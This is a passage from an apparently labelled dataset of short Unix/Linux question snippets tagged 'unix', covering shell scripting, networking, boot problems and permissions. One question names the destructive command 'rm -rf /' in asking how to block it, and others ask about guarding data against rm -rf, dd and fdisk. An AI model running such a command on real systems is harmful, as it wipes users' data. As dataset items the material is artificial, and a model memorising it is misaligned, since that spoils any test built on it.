starting-up. I don't have any BTRFS filesystem. It delays the booting for about 15 seconds. How ... ",['unix'] "Title: I can't seem to remove a file even after changing ownership and permissions [duplicate] Body: Haven't been here much. Mostly Stackoverflow. Anyway, I have a file that I can't remove. I tried sudo rm files.db and got Operation not permitted Did sudo chown me: files.db Then sudo chmod 777 ... ",['unix'] "Title: Installing Linux on the TI-nspire Body: I am having trouble installing Linux on my TI-nspire cx cas graphing calculator. I downloaded the files and the Linux image. I have read several websites on the topic but it was not that much help, ... ",['unix'] "Title: Usefulness of @ARGV in Perl [closed] Body: What is the difference between using just normal arrays and the special array (command line argument)? Normal array: @num(1,2,3,4), and you can use $num[0], etc Special array: you have to use @ARGV, ... ",['unix'] "Title: how to stop Clementine playback on suspend using systemd Body: As the title says, I'm trying to stop Clementine playback using DBus before entering suspend mode. Here is my service file right now: [Unit] Description=Stop Clementine playback before suspend ... ",['unix'] "Title: Bash scripting - loop until return value is 0 Body: I need to umount something in my script, but sometimes it unmount's before all of the data has finished being copied and causes the umount to fail. I looked for a way to do a ""blocking"" umount, but I ... ",['unix'] "Title: Vim command mapping help Body: I'm a relatively recent convert to Vim, so I don't know a whole lot. My question is about mapping a multi-part command to a single key combo. In my .vimrc, I've got the following line: nnoremap ... ",['unix'] "Title: Carriage return issue Body: I have this in a bash script DAY2=""20130605""<Cr> echo ""This is yesterday date:""$DAY2""end"" Why is the output the following? It seems as though there is a carriage return in DAY2 but where is ... ",['unix'] "Title: No installation steps when Installing CentOS 6.4 on VMware Fusion Body: This is my first real day on using linux. I'm following a book guide. I installed CentOS 6.4 on my mac using VMWare Fusion. However, during the installation, it did not guide me through the ... ",['unix'] "Title: Debian wheezy re - installation [duplicate] Body: I am new to linux and I wanted to start learning it. So, I had installed debian. But while installation, I forgot to give username and password for login and also for root. Is it possible to log in ... ",['unix'] "Title: What video card will support four monitors without Xinerama? Body: I'm running OpenSuse 12.3 and currently have two NVIDIA video cards spanning four monitors. The problem I have is performance since Xinerama can't utilize the hardware acceleration. There are lots ... ",['unix'] "Title: how to check openpgp (gpg) signature against a set of public key blocks Body: I have some content that needs to be checked against a predetermined whitelist of OpenPGP (also keyword: gpg) public keys for a valid signature by one of them. The whitelist is maintained separately. ... ",['unix'] "Title: locales: modify default time format Body: I need to change the default time format on my Debian Wheezy system. I am following this howto. I have modified the corresponding lines in /usr/share/i18n/locales/en_US d_t_fmt ... ",['unix'] "Title: AIX why does ps display the process name between square brackets? Body: On AIX 7 I have a process whose name appears between square brackets in the ps output: PID TTY TIME CMD 7798784 pts/2 0:00 [myproc] 9044154 pts/2 0:00 ps 10485770 pts/2 0:00 ... ",['unix'] "Title: IP Address inaccesible Body: My Linux machine is inaccessible by the IP address, as in only http://127.0.0.1:8080/projectname or localhost works on the browser, but http://10.1.5.5:8080/projectname doess not (here ... ",['unix'] "Title: Changed file access to read only but I can still write to the file. Why? Body: I am running a small embedded system built using buildroot. I have come across this strange behaviour when trying to set up my file permissions on the target device. To illustrate what confuses me I ... ",['unix'] "Title: How can I check, if my cronjob is runnning on my server via PHP? Body: I would like to give out a warning If cron is not running or if a certain cronjob is not set in crontab on my server. Is this possible to check with php? ",['unix'] "Title: How to reuse .Mozilla folder for keeping my config in LinuxMint Debian Edition 201303 Body: I installed LinuxMint Debian Edition 201204. I like keep my Firefox's tabs unclosed when I reopen my Firefox will keep all tabs there. Now I reinstall LinuxMint Debian Edition 201303. I copy ... ",['unix'] "Title: 7z getting an event not found error in command line Body: I am using 7zip on my centos machine and ziping a file via command line. This is my syntax 7za a -t7z backup.7z public_html\ -mx0 -xr!restricted_area What i'm expecting with this syntax is to ... ",['unix'] "Title: Back up logs to a new directory Body: I need help to write a script to copy log files. There are two format of logs: System_<date_timestamp>.log trace_<date_timestamp>.log New files are generated when trace log reaches ... ",['unix'] "Title: Give a Root owned folder web read and write access Body: I have an Ubuntu server for a client I am working on, doing development work. I have root access and they created a new vhost blog.domain.com so when I log into it with WinSCP it list the files and ... ",['unix'] "Title: SSH Agent does not work with pkcs8 private key Body: I did encrypt my private key using openssl pkcs8 -topk8 -in id_rsa -out id_rsa_new -v2 des3 (http://martin.kleppmann.com/2013/05/24/improving-security-of-ssh-private-keys.html) But now, ssh-agent ... ",['unix'] "Title: Move files and delete directories with rsync? Body: Recently I needed to delete a large number of files (over 1 million) and I read that doing: rsync -av --delete `mktemp -d`/ ~/source && rmdir ~/source Was one of the most optimized ways to ... ",['unix'] "Title: man path and 'man foo' vs. 'man -k foo' Body: I have a set of man pages in a non-standard location; however, the location is on my MANPATH (and I verified this with man --path). When I do man fst-infl (where fst-infl has a man page in this ... ",['unix'] "Title: In linux, how to delete all files EXCEPT the pattern *.txt? Body: I know how to delete all txt file under current directory by rm *.txt. Does anyone know how to delete all files in current directory EXCEPT txt file? ",['unix'] "Title: apt-get via ssh-tunnel if only port 22 is allowed Body: I have a server which has only access to the outer world via port 22 (for the use of ssh from the server to other computers). I want to install some packages via apt-get on this server. Can I achive ... ",['unix'] "Title: Save display settings for specific monitor Body: When i'm connecting an external Monitor to my notebook (specs below), whether with VGA or Displayport, I always have to configure the screen resolution and display position. At the moment i'm doing ... ",['unix'] "Title: Allow a specific user or group root access without password to /bin/date Body: As the title would suggest, I'd like to give a user or group full root access to the /bin/date command, including any manner of arguments as defined in the man pages. I understand /etc/sudoers ... ",['unix'] "Title: CentOS no network interface after installation in VirtualBox Body: I have Ubuntu 12.10 on which i installed virtual box on which I setup centos 6.4 i386. On Ubuntu I have: 3.5.0-17-generic kernal running. On virtual box I install centos 6.4 and everything works ... ",['unix'] "Title: communication between two different vpcs on aws Body: is there any way through which in AWS I can make a communication between 2 VPCs which are in different networks. ",['unix'] "Title: EOF blocks my script? Body: I have this script (it is actually a snippet from a bigger script). #!/bin/sh if [ $actualsize -ge $MAXSIZE ]; then read dummy FILEPOINT <<EOF `dd if=myfile skip=8001 count=1 bs=1|od -x` ... ",['unix'] "Title: How to start a GUI program with PHP from website Body: My firm has some Ubuntu 12.04 running where there is no display attached and that are behind different firewalls. The visitor on local websites on that servers should be able to start a GUI program ... ",['unix'] "Title: Need to get the latest file with date timestamp for each month Body: I am just starting with Unix programming and I have a requirement. I have four files which are placed in my landing zone and I need the scheduler to pick up the latest file of that month and year. ... ",['unix'] "Title: Command to hide everything except viewport in terminal window? Body: Is there a way to see only the viewport for terminal (Mac OS X 10.8.4)? (That is, can I hide the open/close/minimize buttons.) The need is for more for a visual desire than a practical one. I'm ... ",['unix'] "Title: Copy multiple files into one (append, merge) in single invocation without shell redirection? Body: I'm looking for some sort of a command that I can use, to copy/append multiple files into one; but without shell redirection (I'd like to try it in call_usermodehelper, see similar issue in ... ",['unix'] "Title: How can I determine which commands are installed by default on Ubuntu, CentOS and Red Hat? Body: I was surprised to discover that curl didn't come bundled as part of Ubuntu. Is there a canonical list of included components Linux commands that I can check for these three operating systems? ",['unix'] "Title: Is floating-point arithmetic distro dependant? Body: I came across an article in Ars Technica about Raspbian that said the primary interest of the developers of it was that they wanted an OS with fully optimized for its floating-point unit, and since ... ",['unix'] "Title: Understanding getlogin() Body: I think the previous iteration of this question was a little bit like a carpet bomb of questions, so that may have turned people off to it (to the point of almost being flagged for removal) so I'll ... ",['unix'] "Title: what type of device drivers are available in linux [closed] Body: The different types of device drivers used in linux are character device and block device. Is there another classification? ",['unix'] "Title: agonizing over the Unix epoch [closed] Body: I am having some trouble understanding what exactly 00:00:00 Coordinated Universal Time (UTC), 1 January 1970 means. Below are two possible ways to interpret 00:00:00 according to my understanding, ... ",['unix'] "Title: How can I prevent drivers from binding USB devices on a certain bus? Body: I have a setup with two Logitech Unifying receivers, each receiver has a keyboard bound to it. One of the receiver is to be used by the physical machine to which the devices are connected, the other ... ",['unix'] "Title: SSH login attempts per minute per IP Body: How can i limit SSH login attempts per minute per IP ? I want to disable login attempts during 5 seconds after a failure. Is this possible ? I'm not talking about ban a user after parsing logs like ... ",['unix'] "Title: Amazon EC2 MySQL Failed to Start Body: I'm having issues starting MySQL after it randomly stopped working a few minutes ago. I'm getting this error while trying to connect: Connect failed: Can't connect to local MySQL server through ... ",['unix'] "Title: Delete lines containing repeated text Body: I have a file containing two paths on each line. I want to remove the lines containing the same path twice. I work on Linux and Solaris. I would like a one-liner in sed or awk or perl. Example input ... ",['unix'] "Title: How can I background a shell script during a Kickstart? Body: I have a Red Hat Kickstart process which reports its progress at key points via a POST request to a status server. This is fine during %pre and %post, but when the actual build is taking place ... ",['unix'] "Title: Get PID of the application running in the active terminal emulator Body: My end goal is to be able to open a new terminal window (urxvt) directly in the current working directory of the program running in the window currently active. I'm currently using the shell (Bash), ... ",['unix'] "Title: Rsync after copy Body: Does Rsync after copy only send the differences between the folders, or does it copy the entire folder again since Rsync has never been implemented before on that folder? ",['unix'] "Title: How to associate a seperate station to a Wifi AP Body: My Linux machine (A) is connected with some Wifi AP over my wireless device (wlan0). I want to give some other Linux machine (B), which is connected to me by ethernet (eth0), access to this network. I ... ",['unix'] "Title: GNU GCC 4.8 build error Body: I was trying to install the latest GCC 4.8 but somehow the build fails. Here are the steps I followed: In the directory /mnt/ajay/ I checked out the code from svn using the command: svn checkout ... ",['unix'] "Title: How should I proceed in troubleshooting rtorrent? Body: I have a computer connected via ethernet cables to my home router that preforms server like duties. Specifically, for some time I was running rtorrent on this machine. I wish I knew when this started ... ",['unix'] "Title: How can I make tmux monitor a window for inactivity? Body: I've switched from GNU Screen to tmux. They're both similar, except that tmux is still maintained. GNU Screen has a C-a _ (""silence"") command. This command makes GNU Screen monitor the current ... ",['unix'] "Title: ls gives me different sort orders during a cron job Body: I have a cron job that, among other things, does a recursive ls of a directory into a file. This gets compared to another file that I've created that, supposedly, contains an identical listing of the ... ",['unix'] "Title: Pidgin & Lync - Some buddies are not recognized Body: I'm running RHEL 6 and using Pidgin to connect to the corporate Lync server. Overall it works quite well. My problem is that, apparently randomly, some of my 'buddies' are not properly looked up ... ",['unix'] "Title: What is the alternative to using metamail with nmh? Body: In nmh, mhshow calls /usr/bin/metamail by default. Is there an alternative for this, since metamail has been deprecated in Debian since etch? ",['unix'] "Title: How to change search result highlight in vi? Body: The scenario: I log on a server using ssh, and search for keywords in a log file using vi. The problem: at the moment, the results of a search is only highlighted by a cursor _ below the searched ... ",['unix'] "Title: coLinux strange networking trouble Body: Installed coLinux, Debian, sshd inside, pcap-bridged networking, and I can connect to ssh service from coLinux console and from LAN. Now, the strange part: I cannot connect to Linux guest ssh service ... ",['unix'] "Title: I want to find duplicates in a file and add a character to the end of the line on the 1st match Body: I am trying to find duplicates in a file and once a match is found mark the 1st match with a character or word on the end of the line. eg my file (test.html) contains the following entries host= ... ",['unix'] "Title: ufw firewall rules for security.debian.org Body: What is a practical way to manage a whitelist of firewall outgoing connection rules for http://security.debian.org (on a server that blocks all outgoing connections by default)? My understanding is ... ",['unix'] "Title: The find command: the options '-mindepth' conflicts with the action '-prune' Body: If the file structure is like this: /a/p/c/d... /c/a/c/g/f/... /a/c/d/e/... ... And I want to do this: find -mindepth 3 -type d -name p -prune -or -name c -print However, this command will not ... ",['unix'] "Title: when to use double quotes with a variable in shell script? [duplicate] Body: I am in a confusion with what is meant by the double quotes referring to a variable. For example following two scripts gives the same output. What is really meant by the double quotes? Script1 ... ",['unix'] "Title: How does bash know how it is being invoked? Body: I've installed jailkit on Ubuntu 12.04 and I have set up a user's shell to /bin/bash - but when it is invoked it runs /etc/bash.bashrc instead of /etc/profile If you haven't used jailkit before ... ",['unix'] "Title: pvcreate error on partition Body: I can't create this partition, I'm getting this error shown below: Device /dev/mapper/vg_paperino-lv_rootp1 not found (or ignored by filtering) Below are the steps that I'm doing on CentOS: ... ",['unix'] "Title: Remember password after `sudo -i` Body: If I do sudo <command> and enter the password, my Debian Squeeze remembers the fact I passed the password and never asks for it for i.e. 15 minutes. But if I do sudo -i and then exit, the ... ",['unix'] "Title: Courier IMAP cannot find my Maildir but can find root's Maildir Body: I'm running into a weird issue setting up Postfix and Courier IMAP on a clean Ubuntu 13.04 install. I'm using this tutorial, and am currently Testing Courier IMAP. When I try to login with root, ... ",['unix'] "Title: Kernelpanic Fedora 18 with kernel 3.9.2-200 Body: Since upgrading to kernel 3.9 I now get this error every time at start up: BUG: unable to handle kernel NULL pointer dereferences at (null) IP[<ffff8800ca93bfcd>] 0xffff8800ca93bfcc PGD 0 ... ",['unix'] "Title: VIM(Mercurial) +python3.2 on debian wheezy: Could not load library function PySys_SetArgv Body: > ./configure --enable-python3interp=dynamic --enable-gui=gtk2 > --with-python3-config-dir=/usr/lib/python3.2/ make vim --version|grep pyth +cryptv +linebreak -python ... ",['unix'] "Title: Internet disappears regularly Body: About a month ago I installed the newest version of Linux Mint (14). I use Linux the whole day on my laptop but every 1-2 hours my internet connection (Wi-Fi) magically disappears for about 10 ... ",['unix'] "Title: Include domain name or not in /etc/hosts? Body: I am setting up a VMWare cluster of CentOS nodes. Is it best practice to include a domain name after the machine? What are the potential problems of leaving it out? Does a domain complicate ... ",['unix'] "Title: How to restrict rm -rf / in CentOS machine? Body: I would like to know how we can restrict rm -rf /on CentOS machines? ",['unix'] "Title: How can I connect to Gnome 3 with a Windows VNC client? Body: I used to be able to connect to my Gnome 3 desktop from a Windows machine with a VNC client. But after an upgrade (on the Linux side) a while ago, it quit working. When I attempt to connect, all I ... ",['unix'] "Title: Stereo capture with v4l2 Body: I am trying to capture images from 2 cameras using the driver v4l2. I want to capture them at the same time so I use threads with conditions to start the capture at the same time. The problem is that ... ",['unix'] "Title: Making a directory protected from 'rm -rf' Body: I just lost some data in folder A which was inside folder B after doing rm -rf B. Before I could realize what have I done, it was all over. Now a lesson is learnt, I wish to make some of my folder ... ",['unix'] "Title: How can I force my wifi to connect to a G-band channel? Body: I'm trying to debug a buggy wireless card and would like to force my Linux computer to connect using one of the g-band channels. How can I achieve this? ",['unix'] "Title: Defragment a USB flash drive on Mac OS X Body: I frequently create bootable flash drives and many a time large files need to be defragmented in order to boot. On Windows I'd used Contig/WinContig, but I must use OS X for the same purpose now. Are ... ",['unix'] "Title: Automatic Update Script using Cron, Exit Codes, and Logging Body: I'm managing multiple machines running Debian, Raspian, and Mint. On some of the machines I want to have updating and upgrading automatically. I've drafted a script that I want to do this and log if ... ",['unix'] "Title: How to use git for this particular purpose? Body: Here is the situation. There are two machines, laptop A and workstation B. B has a fixed IP, A has a dynamic IP, and I want to avoid the need of connecting from B to A (setting up an ssh tunnel for ... ",['unix'] "Title: NFS server dropped connection momentarily, now df, ls, and umount all hang Body: I have this fstab entry: machine.local:/srv/files /res/files nfs defaults 0 0 It was working great until machine.local dropped the connection momentarily. Now, the share isn't accessible. df, ... ",['unix'] "Title: Playing around with shortcuts and window sizes with awesome WM Body: I've been trying awesome WM for a few months now and i am really enjoying it. I am now playing around with the rc.lua file, and I'm searching for a way to do two things. With the shortcut mod4+Enter ... ",['unix'] "Title: How do I kill 'repo sync' using crontab given it spawns many processes? Body: I need to 'repo sync' the Android source overnight, as my monthly bandwidth is limited. , I start the 'repo sync' at midnight, then want to kill it at 8am. The following is the command: 2 0 * * * ... ",['unix'] "Title: Spurious “command not found” [duplicate] Body: I am in the process of trying to build and install pjsua on my embedded board running linux with a kernel which is a variant of 2.6.18.. The board is booted via nfs from my filesystem. I have built ... ",['unix'] "Title: Transfer speeds through PPTPD VPN are throttled Body: In an effort to improve my understanding of Linux, I decided to setup a VPN for myself to route my internet traffic through. After about 8 hours, I finally had a Debian Squeeze VPS setup with pptpd ... ",['unix'] "Title: Can I combine two “keybinds” into one in Openbox? Body: I'm using Lubuntu 13.04 with its default window manager, Openbox. Is there a way to edit ~/.config/openbox/lubuntu-rc.xml to combine the following two ""keybinds"" in the ""keyboard"" section into one? ... ",['unix'] "Title: List of partition labels vs devices using dbus/udisks in bash Body: I have a problem where using dbus and udisks seems to be the best approach. So I invented a problem: create a table of labels and devices for each partition ""installed"" ala: """" /dev/sda1 ... ",['unix'] "Title: Preventing duplicate entried in PATH (.cshrc) Body: I have little experience with Linux, so I will appreciate some help. I need to prepend directories to the path variable in my .cshrc file and I want to make sure that the entries are not repeated when ... ",['unix'] "Title: Auto continuous scrolling of man output Body: When I execute man foo the terminal shows only the first page and then pauses. Then I have to manually press the keys to scroll here and there. After executing man foo how do I get an output which is ... ",['unix'] "Title: Bash script installing within multiple directories [closed] Body: I am attempting to write a bash script that will install rbenv from beginning to end. I am on a Mac for interest sake. But there are some things that are not working mainly i am changing the ... ",['unix'] "Title: Specific string hangs [, [[ Body: While fuzz testing I've found that it's possible, by defining var=$'\365\\' , to make both of the following commands (used to remove everything up to the last newline) hang indefinitely, consuming ... ",['unix'] "Title: Networking starts up but interface has no IP Body: I have a box that is supposed to run headless. When I boot and manually run /etc/init.d/networking everything starts fine. When I add it to my startup scripts ( /etc/rcS.d) as placed by sysv-rc-conf ... ",['unix'] "Title: Return status of `cd` is always 0 Body: I am executing following command. cd dirname; echo $? This always return 0 whether of not cd is successful. This is giving me incredible headache. How to check if cd was successful without reading ... ",['unix'] "Title: Which filesystems can RHEL 5 read from and write to? Body: Which filesystems can RHEL 5 read from and write to? Are there any that work but not well? I'm partitioning and external hard drive and I haven't been able to find a comprehensive list anywhere. ",['unix'] "Title: Replacing text between two HTML Comments Body: I am new to the world of sed/awk and regex in general and have been studying their usage, but have been floundering trying to meet my need: I have an htm page that has a single line notice that needs ... ",['unix'] "Title: Waking an Ibook G4 (powerpc) running Debian Linux from suspend based on timer Body: I have recently received an Ibook G4 from a friend. I plan to use it as a server and have installed Debian Wheezy (7.0.0, release version) on it. However, I would like to suspend it at some points ... ",['unix'] "Title: Hardware Ethernet IP Limitation Body: In Linux Environment How many number of IP address I can assign to a Hardware ethernet interface ? Is there any limitation ? what is the maximum no. of virtual ethernet interface I can assign to a ... ",['unix'] "Title: ext4: where did my free space go? Body: I just upgraded my Mageia 2 64bits VM to Mageia 3, and now my virtual disk free space is almost nil, even though less than 100% of the space is used. I am not an ext4 filesystem expert but I have ... ",['unix'] "Title: Raspberry PI wifi network setup: switch adhoc mode if a wired/wifi network is unavailable Body: I'm using raspbian (debian) and I want the system would be able to always be reachable through the network, without the user needs to manually interact with the system. I'm looking for a solution that ... ",['unix'] "Title: Resume from hibernate fails after image restoration Body: I've been trying to get hibernation to work, and am having problems. The system seems to go into hibernation just fine, but when I try to restore from disk, the process stops just after a message ... ",['unix'] "Title: Unexpected whitespace using sqsh in command substitution [closed] Body: Below shell script instruction behave in weird way ARG_DATE=`sqsh -S $SERVER -U $DB_USER -P $DB_PASSWORD -D dbname -h<<END SET NOCOUNT ON go select convert(varchar, PRIOR_COB_DATE, 112) from ... ",['unix'] "Title: Canonical paths: why are they needed? Body: The issue of resolving symlinks (symbolic links) is often addressed on this forum, and on others. Related are the concepts of relative, absolute (or full), and canonical (or resolved) pathnames. Two ... ",['unix'] "Title: ngircd / xchat SSL issues Body: I'm trying to setup a ngircd IRC server on Fedora 18 (which was installed using yum), but I'm having some SSL issues. I can connect to the server locally and remotely if I choose to ""accept invalid ... ",['unix'] "Title: Looking up a local domain name without specifying the local DNS server Body: I've set up a local domain name by creating a zone (by following the steps in this tutorial). Why I look the domain using dig, I get the right results when using the following command: dig ... ",['unix'] "Title: How to disable wlan0 when shutdown Body: Since a long time ago my Sony Vaio with Lubuntu 11.10 is showing a red FAIL message during the shutdown process. It tries to kill some process and the white messages on the screen frozen for some ... ",['unix'] "Title: Why my raspberry pi can't connect to the wireless network？ Body: I run the command wifi-menu in my archARM system ,and it already found the Wi-Fi hotspot, but the the connection failed. Here's a photo:      note: I use the EDUP EP-N8508GS USB ... ",['unix'] "Title: Solaris - permanently update PATH for all users Body: I have installed JDK and Groovy on my Solaris 11 machine. I would now like to set things up so that the PATH variable would contain the bin directories whenever I open a shell. It is my understanding ... ",['unix'] "Title: Stop su from asking for a password Body: I am trying to run the following command as deploy from Java (the JVM is running as the user tomcat): sudo -u deploy /path/to/my/bash/script.sh PARAM1 PARAM2 My sudoers file has the following in ... ",['unix'] "Title: How to change the style of the analogue clock in XFce? Body: The XFce4 clock applet has an option to display an analogue clock. I found that this clock is not easy to read and the appearance does not match the rest of the desktop. Is there any way to configure ... ",['unix'] "Title: How to add a launcher that compiles some code in a terminal in XFce? Body: I have a few files on my computer that I need to compile frequently while editing, e.g.: context file.tex I tried to add a launcher to the XFce4 panel that will open xfce4-terminal and compile this ... ",['unix'] "Title: Is Mac OS X really SUS compliant? Body: Internet says that Mac OS X 10.8 has achieved certification to The Open Group UNIX® 03 standard and that it is a compliant system. But a simple test with echo seems to indicate otherwise: 　a) The ... ",['unix'] "Title: Installing Gnome on FreeBSD Body: I am trying to install Gnome on a freshly installed FreeBSD using the ports. I am stuck with an error message that says: Checking for headers required to compile python extensions ... not found Then ... ",['unix'] "Title: Protecting Devices from dd and fdisk Commands Body: I'm wondering if there is some way to prevent certain certain devices from becoming the output file of the dd command and the target of the fdisk command. I'm currently using the two operations to set ... ",['unix'] "Title: Disable GNOME on a Debian Install Body: I'm very new to Linux, and I'm setting up a Debian server. Since I don't have any need for a GUI most of the time, I'd like to disable it from running at startup and wasting system resources. ... ",['unix'] "Title: Disconnect a disk correctly Body: I wanna disconnect a disk from an array which is the correct process umount file system remove from volume group i dont know this step disconnect physically the disk ",['unix'] "Title: How do I find out the pixel depth of my graphic card? Body: Is there a command that can tell me which my graphic card is and its pixel-depth? I am running vncserver and I would like to learn which is the best parameter for pixeldepth (-depth). ",['unix'] "Title: How do I prevent Skype notifications during a call Body: If I am on a Skype call with a person (with Share Screen Option switched ON), I don't want to get notified if someone calls me or messages me. They shouldn't know who my contacts are. What should I do ... ",['unix'] "Title: Bash console progress dialog with command output Body: I have dialog installed, where I would like to have a nice progress dialog, like this: +-------[ title ]--------+ | | | +-[ console output ]-+ | | | output line11 ^ | | | ... ",['unix'] "Title: I'm failing to set up a wireless Access Point (AP) Body: I'm trying to get this card to be an access point, and am failing. I tried various Ubuntu releases, and checked on both ARM and i386. The kernel version I used is 2.6.35, and there is no Network ... ",['unix'] "Title: ACG Localizer and flann installation Body: There is a certain code package called ACG_localizer which uses flann version 1.6.11 as per their readme. This is the link for the localizer. And this for FLANN 1.6.11. The issue is while doing sudo ... ",['unix'] "Title: install mysql 5.5(remi) with centos 6.2 complains error Body: Finished Dependency Resolution Error: Package: mysql-server-5.5.31-1.el6.remi.i686 (remi) Requires: libz.so.1(ZLIB_1.2.0) I type yum --enablerepo=remi install mysq and these error ... ",['unix'] "Title: Launch an application with window decorator hints, x/y coordinates, size, etc Body: Is there a way to launch an application with a given size, position, and window decorator hints from the command line? I'd like to lock a certain window in a certain place at a size and without a ... ",['unix'] "Title: notify-send command with -u critical and -t option Body: I sometimes see the command : notify-send -u critical -t 3000 ""Example"" However, with -u critical, it seems like the notification doesn't time out. What is the purpose of adding a timeout option ... ",['unix'] "Title: Debian not reachable via its hostname in LAN Body: My debian is not discoverable via its hostname in my LAN. I have a couple of other ubuntu machines in the LAN and they are all pingable via their hostnames. on my debian: pi@raspberrypi ~ $ ... ",['unix'] "Title: Automount of NTFS USB partitions on Gnome fails if device name is sdb (FAT32 is OK) Body: When I plug a USB storage device (i.e. USB key) on my computer with Gnome, the filesystems available on the device are automatically mounted (in /media/<partition-label>), and a file explorer ... ",['unix'] "Title: Installed Fedora 18 on UEFI machine, got lvm.mod not found error Body: I've installed Fedora 18 on UEFI system, when I boot the computer I get this error message: File ""/EFI/fedora/x86_64-efi/lvm.mod"" not found no server specified What should I do? ",['unix'] "Title: Linux multi-user system: Each user's home partition on its own Hard Drive Body: I've got a pogoplug running Arch Linux that I'm using for a NAS with rsync backing up my data over SSH. Right now, I'm the only one using it, but I'd like to add my roommate as well. She has her own ... ",['unix'] "Title: bash: colorize second column of output Body: let's say, I have following output from ls: $ ls -lAhF /bin -rwxr-xr-x 1 root root 905K Apr 10 2010 bash* -rwxr-xr-x 3 root root 31K Dec 26 2011 bunzip2* -rwxr-xr-x 1 root root 505K Nov 15 2010 ... ",['unix'] "Title: Where to get logs for Gnome3 when “Oh no! Something has gone wrong.” appears? Body: I have recently upgraded my ArchLinux and Gnome3 got broken. On boot, GDM shows up (and works), however, when trying to log in Gnome3 session, I recieve ""Oh no! Something has gone wrong."" screen. ... ",['unix'] "Title: Inotifywait for large number of files in a directory Body: What I want to do is, to monitor a directory (not recursive, just one) for new files created and append those files to one single big file as they are being written. The number of files that are ... ",['unix'] "Title: How similar are Android and QNX? Body: The root of the question is really: ""Can you run the Android OS on a BlackBerry PlayBook?"" Since one is a Linux derivative and the other is a Unix derivative, it seems a natural fit for here. ",['unix'] "Title: What does ./ mean? [duplicate] Body: I'm having a hard time getting what ./ does. In the Linux Essentials books, it asks me in an exercise to delete a file named -file. After googling, I found that I need to do rm ./-file but I don't ... ",['unix'] "Title: What is the `editor` command in bash? Body: I was looking for a command that would hopefully open the current user's favourite text editor, because I am writing out some instructions with commands in a blog. I was expecting a command like edit, ... ",['unix'] "Title: How can I set up a usb printer as a network printer using a linux server? Body: Basically right now I have a USB only printer, it's very nice. There are 5 people in my household and we all are constantly wanting to use the printer. Windows has a built in way to share the ... ",['unix'] "Title: Kernel dependency on Grub in LinuxMint Body: I have several linux OS's on my laptop the main one being Ubuntu which I used to boot the other OS's with. I recently had to reinstall Mint Cinnamon, during the installation grub was installed ... ",['unix'] "Title: Gnome3/cinnamon set keyboard shortcut Body: I cannot find where I can set keyboard shortcut for switching languages. Update: New problem: I cannot set Alt+Shift combination for that. ",['unix'] "Title: Debian, virtualenv, IPython notebook and matplotlib inline plots Body: I have been using IPython notebook on both OSX and Windows 7 for a while. Now I'm trying to create a minimal system for me to work on Debian 7 (Wheezy). I installed: LXDE Python2.7 python-dev ... ",['unix'] "Title: Is the desktop environment responsible for affecting behaviour to certain keys? Body: I have a laptop which has a Fn key. Using xev command shows that Fn + UpArrow is affected to XF86AudioRaiseVolume. If I use KDE, is it KDE that is responsible for affecting a behaviour to that ... ",['unix'] "Title: ffmpeg -pattern_type glob — not loading files in correct order Body: I have a dilemma.. I've had a script for a while now that downloads pictures from a webcam every few minutes. The naming convention just does new_image((len(files(dir))+1) + '.jpg') and that's all ... ",['unix'] "Title: Terminal-based (non GUI) virtual-computer program? Body: Are there any terminal-based (ie. non-GUI) virtual-computer programs out there? I've been using programs like VirtualBox and QEMU, but they're obviously GUI-based... I was hoping for a virtual PC ... ",['unix'] "Title: In which situation is a file written to the block-device during the umount? Body: I have a compact-flash memory card detected as a block device /dev/sdb. It has a single FAT16 partition. Now if I mount the FAT16 file-system, write something to the file system and umount the file ... ",['unix'] "Title: Git commit from within a Makefile Body: I have a Makefile for a Latex project I'm working on. Makefiles aren't my forte, but is there a way to do something like: make git ""My comment"" And have the makefile execute: git commit -m ""My ... ",['unix'] "Title: Nvidia Proprietry Driver Causing Multiple Problems Body: I have recently downloaded and installed NVIDIA-Linux-x86_64-319.17.run for my Nvidia Quadro NVS 130M Graphics Card. Installation went fine after disabling the X server and running the install from a ... ",['unix'] "Title: Why is my wlan0 interface on Angstrom (Beagleboard) “Not Associated”? Body: I'm installing a Angstrom (custom build, not the default build) on a Beagleboard XM. I can scan for wireless networks using iwlist and see the neighborhood wireless devices. I have set my SSID and ... ",['unix'] "Title: Push local git repo to server via ssh Body: So I have a local repo and a server with git installed and a git user. I want to send (push) the repo to the server. When I simply login to the server via ssh I have to specify my .pem file and a ... ",['unix'] "Title: How to install Suggests dependencies of a package Body: If I want to install a package and its Suggests dependencies, I run: $ sudo apt-get --install-suggests install <package name> However, if <package name> is already installed, and not ... ",['unix'] "Title: Lighttpd rewrite rule Body: Why does a rewrite rule like this not work: url.rewrite-if-not-file = ( ""^parameter/(.*)$"" => ""/somefunnyfile.php?someparameter=$1"" ) ... but a rule like this does work: ... ",['unix'] "Title: Boot up problem with RHEL 6 Body: I restarted my RHEL 6 box and now I can't get past the logo screen. I tried booting without the splash screen so I could see what's going on, and I'm getting an error message saying something along ... ",['unix'] "Title: Midnight Commander: file size format Body: When dealing with large files in MC, I have difficulties counting the digits to get the order of magnitude of the file size (hundreds of MB, or tens of GB, ..). Sometimes, I use the trick to press ... ",['unix'] "Title: How to kill all processes that don't have specific parent process? Body: A parent process should always be running with N children process. I would like to run a script which will show/kill all children processes that don't have a parent process. $ ps faux | grep ... ",['unix'] "Title: process memory usage Body: What is usually meant by the phrase process memory usage, what does this actually mean, i.e. what does this memory consist of? And what column does it correspond in ps aux output, RSS or VSZ? ",['unix'] "Title: How to add a program to be indexed by Synapse? Body: I downloaded the IntelliJ community edition and I'm currently running it by clicking the shell script that is in the folder of IntelliJ I was wondering how I can make Synapse recognize the idea.sh ... ",['unix'] "Title: Copy website from RedHat to CentOS Body: We currently have our website and website's CMS hosted on a dedicated host which runs Red Hat. We want to remove Red Hat and install CentOS instead. My question: is there a straight forward way of ... ",['unix'] "Title: How to repair system if kernel panic? Body: I've just updated packages: 2013-05-23 11:15:34 startup archives unpack 2013-05-23 11:15:35 upgrade locales:all 2.13-38 2.17-3 2013-05-23 11:15:35 status half-configured locales:all 2.13-38 ... ",['unix'] "Title: How to add a line from a list into another file when a specified line is found? Body: Basically I have 2 files. One has a list of router and switch login prompts, like this: user@router1 user@router2 user@switch1 user@switch2 The other file has blocks of XML, like this: ... ",['unix'] "Title: What are the chkconfig directives (classic style) into init.d scripts? Body: To ask my question, I must first clarify the context. Every init script in /etc/init.d (on RedHat and Centos distros) is prepared to be managed with the chkconfig command-line tool utility. This ... ",['unix'] "Title: Strange changes in files Body: I have a very strange problem on one of my servers. I'm not sure if it's completely related to linux because it occurs in php and js files. Today I was trying to backup my databases using phpmyadmin. ... ",['unix'] "Title: Redundant array of NTFS disks Body: I have a number of NTFS disks with unused capacity. They are leftover external hard 